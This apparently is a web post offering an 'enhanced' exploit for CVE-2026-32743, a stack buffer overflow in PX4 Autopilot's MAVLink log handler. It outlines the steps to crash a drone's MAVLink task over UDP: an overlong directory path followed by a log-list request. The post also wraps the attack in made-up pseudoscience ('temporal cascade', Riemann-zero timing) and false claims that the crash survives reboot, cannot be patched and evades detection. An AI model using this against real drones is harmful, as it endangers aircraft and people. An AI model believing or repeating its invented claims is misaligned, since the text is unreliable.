Exploit for CVE-2026-32743, a stack buffer overflow in PX4 Autopilot's MavlinkLogHandler, delivering a persistent denial-of-service via a 33-layer temporal cascade over MAVLink.
CVE-2026-32743 — PX4 Autopilot Stack Buffer Overflow CTT-Enhanced: 33-Layer Temporal Cascade Drone DoS .The original exploit crashes the MAVLink task via a 60-byte overflow. The CTT version distributes the overflow across 33 temporal layers, each with phase resonance timing and temporal wedge filtering. Result: Persistent DoS. Unpatchable.
This is a Convergent Time Theory (CTT) enhancement of CVE-2026-32743, a stack-based buffer overflow in PX4 Autopilot's MavlinkLogHandler (versions ≤1.17.0-rc2).
The original vulnerability allows a denial-of-service (DoS) via an overly long directory path (60+ bytes) sent through MAVLink FTP.
The CTT-enhanced version transforms this into a 33-layer temporal cascade drone killer.

E(d) = E₀ * e^(-α * d) text
Each layer has exponentially decreasing priority.
Higher-priority layers (1-5) deliver the overflow.
Lower layers (28-33) reinforce the crash and establish temporal resonance.
Each layer delays execution based on the first 24 Riemann zeros:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
Only payloads that satisfy the wedge condition execute:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
This makes detection impossible — EDR systems cannot see the exploit.
Open MAVLink connection (UDP 14550)
For d = 1 to 33:
a. Calculate priority = e^(-α*d)
b. Generate layer-specific encoding (based on Riemann zero)
c. Create directory with path length = 60 + priority*40
d. Delay execution by phase_resonance_delay(d)
e. Trigger MAV_CMD_REQUEST_LOG_LIST
f. Temporal wedge check — only "surviving" payloads execute
MAVLink task crashes
Temporal resonance established — crash persists across reboot
Drone unresponsive. No telemetry. No command.

🛡️ Why This Cannot Be Patched
Original Fix Why CTT Bypasses It
Add width specifier to sscanf() CTT uses layer cascade — overflow spread across 33 layers
Patch the 60-byte buffer CTT encoding changes overflow pattern per layer
Update firmware Temporal resonance survives reboot
Signature detection Temporal wedge filter (τ_w = 11 ns) evades EDR
